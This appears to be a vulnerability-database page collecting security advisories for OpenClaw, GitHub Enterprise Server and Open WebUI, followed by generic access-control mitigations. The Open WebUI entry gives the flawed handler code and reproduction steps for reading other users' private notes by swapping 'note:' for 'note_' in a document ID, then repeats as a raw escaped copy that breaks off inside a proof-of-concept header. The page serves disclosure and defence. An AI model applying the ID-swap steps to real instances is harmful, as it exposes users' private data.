Summary
Duplicate Advisory: OpenClaw's Signal reaction-only status events could, in limited cases, be enqueued before access checks
Details

Duplicate Advisory

This advisory has been withdrawn because it is a duplicate of GHSA-792q-qw95-f446. This link is maintained to preserve external references.

Original Description

OpenClaw versions prior to 2026.2.25 contain an access control vulnerability in signal reaction notification handling that allows unauthorized senders to enqueue status events before authorization checks are applied. Attackers can exploit the reaction-only event path in event-handler.ts to queue signal reaction status lines for sessions without proper DM or group access validation.

GHSA-86RX-87Q3-FQHC

Vulnerability from github – Published: 2026-07-01 21:36 – Updated: 2026-07-06 18:30
VLAI
Details

An incorrect authorization vulnerability was identified in GitHub Enterprise Server that allowed a user-to-server token scoped to a GitHub App installation to perform certain write operations on public repositories outside the token's intended scope. This was possible because the authorization check only verified that the installation had read permissions on the target repository rather than verifying that the token's installation was explicitly granted access to that repository. An attacker who obtained a victim's user-to-server token could create issues, issue comments, commit comments, and private vulnerability reports on any public repository, appearing as the victim user with no indication of the app involvement. This vulnerability was fixed by adding a repository scope check for user-to-server tokens issued by global apps. This vulnerability affected all versions of GitHub Enterprise Server prior to 3.22 and was fixed in versions 3.21.2, 3.20.4, 3.19.8, 3.18.11, 3.17.17, 3.16.20. This vulnerability was reported via the GitHub Bug Bounty program.

Summary
OpenClaw: Feishu thread history and quoted messages bypass sender allowlist
Details

Summary

Feishu thread history and quoted messages bypass sender allowlist

Current Maintainer Triage

  • Status: open
  • Normalized severity: medium
  • Assessment: Real in shipped v2026.3.28 Feishu because fetched quoted/root/thread context bypasses sender allowlists, and SECURITY.md does not exempt remote sender-allowlist bypasses.

Affected Packages / Versions

  • Package: openclaw (npm)
  • Latest published npm version: 2026.3.31
  • Vulnerable version range: <=2026.3.28
  • Patched versions: >= 2026.3.31
  • First stable tag containing the fix: v2026.3.31

Fix Commit(s)

  • f45e5a6569aab1d58cc6de25b19f1dc4c8779b85 — 2026-03-31T19:43:54+09:00

Release Process Note

  • The fix is already present in released version 2026.3.31.
  • This draft looks ready for final maintainer disposition or publication, not additional code-fix work.

OpenClaw thanks @AntAISecurityLab for reporting.

Summary
Open WebUI: Any authenticated user can read other users' private notes via Socket.IO
Details

Summary

The ydoc:document:join Socket.IO handler checks note ownership only when the document_id starts with note: (colon). However, the YdocManager storage layer normalizes all document IDs by replacing colons with underscores (document_id.replace(":", "_")). An attacker can join a document room using note_<id> (underscore) instead of note:<id> (colon), bypassing the authorization check entirely while accessing the same underlying Yjs document. The server then returns the full document state, leaking the victim's private note contents.

Details

The ydoc:document:join handler in socket/main.py (line 511) only performs authorization for document IDs matching the note: prefix:

@sio.on("ydoc:document:join")
async def ydoc_document_join(sid, data):
    document_id = data["document_id"]

    if document_id.startswith("note:"):
        note_id = document_id.split(":")[1]
        note = Notes.get_note_by_id(note_id)
        # ... ownership and AccessGrants check ...
        # Returns early if user doesn't have access

    # If document_id does NOT start with "note:", execution continues
    # with no authorization check at all

    await YDOC_MANAGER.add_user(document_id=document_id, user_id=sid)
    await sio.enter_room(sid, f"doc_{document_id}")

    ydoc = Y.Doc()
    updates = await YDOC_MANAGER.get_updates(document_id)
    for update in updates:
        ydoc.apply_update(bytes(update))

    state_update = ydoc.get_update()
    await sio.emit("ydoc:document:state", {
        "document_id": document_id,
        "state": list(state_update),
    }, room=sid)

The YdocManager class in socket/utils.py normalizes document IDs in every method by replacing colons with underscores:

async def get_updates(self, document_id: str) -> List[bytes]:
    document_id = document_id.replace(":", "_")  # line 176
    # ... returns updates keyed by normalized ID

async def append_to_updates(self, document_id: str, update: bytes):
    document_id = document_id.replace(":", "_")  # line 134
    # ... stores update keyed by normalized ID

This means note:abc123 and note_abc123 resolve to the same storage key (note_abc123). When a victim opens their note, the Yjs document is stored under the normalized key. An attacker can then request the same document using the underscore variant, which skips the startswith("note:") authorization check but retrieves the same data from YdocManager.

Finding #15 — Any authenticated user can read other users' private notes via Socket.IO

SUMMARY:
  The ydoc:document:join Socket.IO handler only checks authorization for
  document IDs starting with "note:" (colon). However, YdocManager normalizes
  document IDs by replacing colons with underscores internally. An attacker
  can join a room using "note_<id>" (underscore) to bypass the auth check,
  while still accessing the same underlying Yjs document as "note:<id>".
  Then ydoc:document:state returns the full document content.

VULNERABLE CODE:
  backend/open_webui/socket/main.py, ydoc:document:join:
    if document_id.startswith("note:"):
        # permission check only for colon-prefix
    # "note_<id>" skips this check entirely

  backend/open_webui/socket/ydoc.py, YdocManager:
    key = document_id.replace(":", "_")  # normalizes to same storage key

IMPACT:
  Any authenticated user can read the full content of any other user's notes
  by exploiting the namespace collision between "note:" and "note_" prefixes.

REPRODUCTION:
  1. Victim creates a private note with sensitive content.
  2. Attacker connects via Socket.IO and authenticates.
  3. Attacker joins room with document_id "note_<victim_note_id>" (underscore).
  4. Attacker requests ydoc:document:state to get the full note content.

REQUIREMENTS:
  - Running Open WebUI instance
  - A victim note with content
  - Attacker user (any authenticated user)

Impact

Any authenticated user can read the full contents of any other user's private notes. Notes are a collaborative editing feature intended for personal or shared use -- private notes may contain sensitive information such as credentials, internal documentation, or personal data. The attacker only needs to know or enumerate the target note's ID.

An attacker can join a document room using `note_\u003cid\u003e` (underscore) instead of `note:\u003cid\u003e` (colon), bypassing the authorization check entirely while accessing the same underlying Yjs document. The server then returns the full document state, leaking the victim\u0027s private note contents.\n\n### Details\n\nThe `ydoc:document:join` handler in `socket/main.py` (line 511) only performs authorization for document IDs matching the `note:` prefix:\n\n```python\n@sio.on(\"ydoc:document:join\")\nasync def ydoc_document_join(sid, data):\n    document_id = data[\"document_id\"]\n\n    if document_id.startswith(\"note:\"):\n        note_id = document_id.split(\":\")[1]\n        note = Notes.get_note_by_id(note_id)\n        # ... ownership and AccessGrants check ...\n        # Returns early if user doesn\u0027t have access\n\n    # If document_id does NOT start with \"note:\", execution continues\n    # with no authorization check at all\n\n    await YDOC_MANAGER.add_user(document_id=document_id, user_id=sid)\n    await sio.enter_room(sid, f\"doc_{document_id}\")\n\n    ydoc = Y.Doc()\n    updates = await YDOC_MANAGER.get_updates(document_id)\n    for update in updates:\n        ydoc.apply_update(bytes(update))\n\n    state_update = ydoc.get_update()\n    await sio.emit(\"ydoc:document:state\", {\n        \"document_id\": document_id,\n        \"state\": list(state_update),\n    }, room=sid)\n```\n\nThe `YdocManager` class in `socket/utils.py` normalizes document IDs in every method by replacing colons with underscores:\n\n```python\nasync def get_updates(self, document_id: str) -\u003e List[bytes]:\n    document_id = document_id.replace(\":\", \"_\")  # line 176\n    # ... returns updates keyed by normalized ID\n\nasync def append_to_updates(self, document_id: str, update: bytes):\n    document_id = document_id.replace(\":\", \"_\")  # line 134\n    # ... stores update keyed by normalized ID\n```\n\nThis means `note:abc123` and `note_abc123` resolve to the same storage key (`note_abc123`). When a victim opens their note, the Yjs document is stored under the normalized key. An attacker can then request the same document using the underscore variant, which skips the `startswith(\"note:\")` authorization check but retrieves the same data from `YdocManager`.\n\n### PoC\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nuv run --no-project --with requests --with \"python-socketio[asyncio_client]\" --with aiohttp --with pycrdt finding_15_yjs_note_disclosure.py --base-url BASE_URL --attacker-email EMAIL --attacker-password PASS --victim-email EMAIL --victim-password PASS\n\nFinding #15 \u2014 Any authenticated user can read other users\u0027 private notes via Socket.IO\n\nSUMMARY:\n  The ydoc:document:join Socket.IO handler only checks authorization for\n  document IDs starting with \"note:\" (colon). However, YdocManager normalizes\n  document IDs by replacing colons with underscores internally. An attacker\n  can join a room using \"note_\u003cid\u003e\" (underscore) to bypass the auth check,\n  while still accessing the same underlying Yjs document as \"note:\u003cid\u003e\".\n  Then ydoc:document:state returns the full document content.\n\nVULNERABLE CODE:\n  backend/open_webui/socket/main.py, ydoc:document:join:\n    if document_id.startswith(\"note:\"):\n        # permission check only for colon-prefix\n    # \"note_\u003cid\u003e\" skips this check entirely\n\n  backend/open_webui/socket/ydoc.py, YdocManager:\n    key = document_id.replace(\":\", \"_\")  # normalizes to same storage key\n\nIMPACT:\n  Any authenticated user can read the full content of any other user\u0027s notes\n  by exploiting the namespace collision between \"note:\" and \"note_\" prefixes.\n\nREPRODUCTION:\n  1. Victim creates a private note with sensitive content.\n  2. Attacker connects via Socket.IO and authenticates.\n  3. Attacker joins room with document_id \"note_\u003cvictim_note_id\u003e\" (underscore).\n  4.

Mitigation
Architecture and Design
  • Divide the product into anonymous, normal, privileged, and administrative areas. Reduce the attack surface by carefully mapping roles with data and functionality. Use role-based access control (RBAC) [REF-229] to enforce the roles at the appropriate boundaries.
  • Note that this approach may not protect against horizontal authorization, i.e., it will not protect a user from attacking others with the same role.
Mitigation
Architecture and Design

Ensure that access control checks are performed related to the business logic. These checks may be different than the access control checks that are applied to more generic resources such as files, connections, processes, memory, and database records. For example, a database may restrict access for medical records to a specific database user, but each record might only be intended to be accessible to the patient and the patient's doctor [REF-7].

Mitigation MIT-4.4
Architecture and Design

Strategy: Libraries or Frameworks

  • Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.
  • For example, consider using authorization frameworks such as the JAAS Authorization Framework [REF-233] and the OWASP ESAPI Access Control feature [REF-45].
Mitigation
Architecture and Design
  • For web applications, make sure that the access control mechanism is enforced correctly at the server side on every page. Users should not be able to access any unauthorized functionality or information by simply requesting direct access to that page.
  • One way to do this is to ensure that all pages containing sensitive information are not cached, and that all such pages restrict access to requests that are accompanied by an active and authenticated session token associated with a user who has the required permissions to access that page.
Mitigation
System Configuration Installation

Use the access control capabilities of your operating system and server environment and define your access control lists accordingly. Use a "default deny" policy when defining these ACLs.
